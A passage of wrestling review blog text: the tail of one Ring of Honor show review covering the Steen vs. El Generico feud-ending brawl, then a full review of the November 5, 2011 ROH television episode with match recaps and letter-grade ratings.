Generico gets a backdrop on the floor to take over. Back in and the ladder is broken when Generico bounces off of it. Steen paints his blood on Generico’s back and goes for the mask which gets him nowhere. They slug it out and Steen counters a rana into a powerbomb for no cover. I can live with that as this is more about fighting than winning. A chair is brought in which is the big symbol of the whole feud.

The mask is ripped at even more and he gets a good chunk off over Generico’s right eye. They fight over the chair and it’s a Codebreaker into the chair by Steen. Generico’s eye is busted and Steen has the mask he pulled off at the last show. Steen licks Generico’s blood. Nice guy. Chain to the head of Generico and Steen yells at him a lot. El manages to figth back with a slam onto the ladder and it’s time for an OLE chant. It’s making me want salsa.

T-Bone exploder suplex into the ladder by Generico and the ladder is all deformed. Half nelson suplex onto the ladder gets two. To the floor and Generico gets a running start, only to have a sign slammed into his head. A metal sign that is. Kevin sets a ladder like a platform between the ring and the barricade. A table is put on top of the ladder. Since this takes FOREVER, Generico gets up and gets a tornado DDT to the floor while diving between the gap between the ladder and table which looked good.

Superkick by fat boy and a chair is set up. Since Steen set it up he winds up crushing it. That and a brainbuster gets two. Generico winds up on the table on top of the ladder but when Steen goes for a splash through it, he channels his inner Flair and is slammed straight through it. Package Piledriver gets two on Steen. Brainbuster on the apron gets two as Corino comes in for the save.

Old School Expulsion puts Generico down and the referee gets in Corino’s face. So much for him as Steve puts him down. Corino grabs the chair that started all of this (how do they know it’s that one?) but Colt Cabana comes down for the save. A Cabana chair shot to Steen gets two and those two leave. Steen keeps spitting at Generico so Generico accidentally dropkicks the referee through a table.

Package Piledriver to Generico gets two via the new referee. Package Piledriver to the second referee and it’s back to the chair. The same move on the chair gets two via a third referee. Steen takes him to the top but gets reversed and Generico gets the Brainbuster on the corner which is his finishing move for two. That’s the first time he managed to get it on Steen. Generico picks up the chair that started it all and Steen holds up the original mask. Generico drops the mask and caves his head in with the chair to put Steen out of ROH.

Rating: B. Well if they wanted to blow off a feud this was a pretty good method of doing so. The chair is a nice touch and it was a good wild brawl. It shouldn’t have gone 30 minutes as there is a lot of time where it just drags badly. It’s definitely good, but thirty minutes is WAY too long. Make this 20 minutes and it’s far better. Ending was solid though.

The fans chant match of the year. Give me a break. They then chant for the deranged psychopath, out of respect apparently.

A weird mini-argument with Truth Martini and Strong ends this. Incredibly odd placement there.

Overall Rating: C. This is the weakest ROH show I’ve reviewed I think. It’s not terrible but I have very little desire to see where any of this goes or any more from these people. It’s not great and I still don’t like their style, but it’s clear that they’re trying very hard. This company doesn’t try to pretend it’s a huge deal like TNA and it makes it a much more enjoyable show. That being said, this wasn’t incredibly good and it didn’t have any great matches on it. Not bad, but I like their stuff from a year ago more.

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Ring of Honor
Date: November 5, 2011
Location: Davis Arena, Louisville, Kentucky
Commentators: Nigel McGuinness, Kevin Kelly

This is week what, 8? I’m not sure what to expect from this one but it’s probably going to be more of the build to Final Battle. If nothing else that show is going to be very well established when we get there. Expect more of Richards vs. House of Truth which would be great to have in a Survivor Series/Team match. Anyway let’s get to it.

We open with a recap of last week’s main event where Strong beat O’Reilly.

The main event tonight Wrestling’s Greatest Tag Team vs. a new team.

Here’s Cornette to make an important announcement. Final Battle is the show of the year so the world title match is going to be Richards defending against………..Eddie Edwards. Yeah no one else is surprised about this as Edwards is Richards’ partner and the guy he beat for the title in the first place. Edwards says it’ll be Edwards vs. Richards III (Edwards beat Richards in the final of a tournament for the first ROH TV Title.

The camera shots are way too close here at times. Edwards talks about all the training that Richards does. Edwards says he has a new trainer but won’t say who it is right now. Could this be a heel turn? Cue Richards who is really short. He says they’re going to do this one more time for this belt right here which means something, unlike most others. It’s wolf vs. wolf and it’s on in New York.

One more thing before Richards leaves though. Regarding the House of Truth, next week how about we have the American Wolves vs. the House of Truth? Edwards says it’s on, but remember that when the fans are chanting next world champ at them, they mean Edwards, because he’s going to win at Final Battle.

Here’s a video on Edwards and his road to Final Battle which included beating Michael Elgin a few weeks ago.

Truth Martini and Elgin say that only what Martini says matters. Elgin apparently caused his brother to be badly injured by not taking keys from him. And he hurt his father before he died. I guess this is more of Martini’s brainwashing.

Elgin’s dinner for tonight says nothing of note.

Shiloh Jonze vs. Michael Elgin

Jonze (yes that’s how it’s spelled) is an OVW guy. Elgin won’t shake hands. He’s a big power guy who hammers Jonze down in the corner with ease. Jonze gets a boot up in the corner but a tornado DDT is easily countered into a powerslam. Jonze tries some clotheslines and a sunset flip but the latter is countered. The counter however is avoided and Jonze goes up for a top rope punch, getting two. There’s a buckle bomb and a helicopter bomb ends the torture at 3:45.

Rating: C-. I don’t know what to say about squashes and this was a very squashy one. I guess this was to let Elgin get back in the good graces after the loss to the bigger star in Edwards. Nothing boring here and it did the right job as a squash. Still though, not much to see and when you have two matches on the show, one being under four minutes isn’t a good idea.

We talk about ROH banning Kevin Steen. There’s a video from attorney Christopher Mascagni (midcard heel manager in OVW) who is representing Kevin Steen. There’s a lawsuit against Steen which says Cornette cost him his career or something. Cornette has four weeks to fix this. Steen says that he should beat up Cornette and he won’t go away. He has things to do when he comes back and will do whatever it takes, including beating Davey Richards if need be, which only he can do. Then Cornette will admit Steen belongs in ROH.

Mike Bennett says he won the TV Title match so he didn’t bother going into overtime. The referee says he had no intention in ending the match. Lethal says he injured himself instead of Bennett doing the damage. I’d like to point out that we’re almost 35 minutes into a 60 minute show and we’ve had less than four minutes of in ring time.

Video on the tag match last week where the Briscoes beat the All Night Express.

We discuss the Proving Ground. The idea is any credible opponent can apply for a match with a champion. Once approved, they get a match with a set time limit which is non-title. If they win or go to a time limit draw, they get a title shot in 60 days.

Caprice Coleman/Cedric Alexander vs. Wrestling’s Greatest Tag Team

This is one of those Proving Ground matches. There’s a 15 minute time limit here. Alexander has the blonde mowhawk. Got it. Coleman vs. Benjamin starts us off. Benjamin works on the arm to start and Coleman can’t get anything going. He’s trying though so give him some points for that. Coleman manages to send him to the corner and gets a surprised look from Shelton.

Off to Haas vs. Alexander who is a bit more physical than his partner. Benjamin gets a blind tag in and kicks Alexander down for two. The champs have never really been in trouble at all. Haas works over the knee as we take a break. Back with Alexander fighting out of something by Benjamin but Shelton kicks him down with ease. Haas works on a leg lock but eventually walks into a bad tornado DDT.

We’re over ten minutes in now if this is in real time. Double tag brings in Coleman and Benjamin who is taken down by a leg lariat for two. We have less than four minutes according to Kelly. The non-champions speed things up and hit a double dropkick to send Haas into the barricade. Three minutes left. Their clock is about 10 seconds off but it’s close enough. There’s a double powerbomb to Coleman and we’re done at 12:55.

Rating: C. Uh…so? The champions beat the newcomers with their finishing move. Is this supposed to be surprising in a way or something? If Coleman and Alexander were worth something they would be on the roster already. Not a bad match or anything but it’s not like anything changes now or in the future. I don’t mean it hurt anything but it didn’t change things at all.

Post match here are the Briscoes. They say they’re awesome and will take the titles in New York.

Overall Rating: D+. This was one of the least interesting shows on the entire series so far. Everything was designed to set up future shows and we only had two squashes (for the most part) in the whole show. Not much to see here and they really need to work on their pacing some more. I wasn’t liking this show and after two months, that’s not good.

Results
Michael Elgin b. Shiloh Jonze – Helicopter Powerbomb
Wrestling’s Greatest Tag Team b. Caprice Coleman/Cedric Alexander – Wrestling’s Greatest Finisher to Coleman

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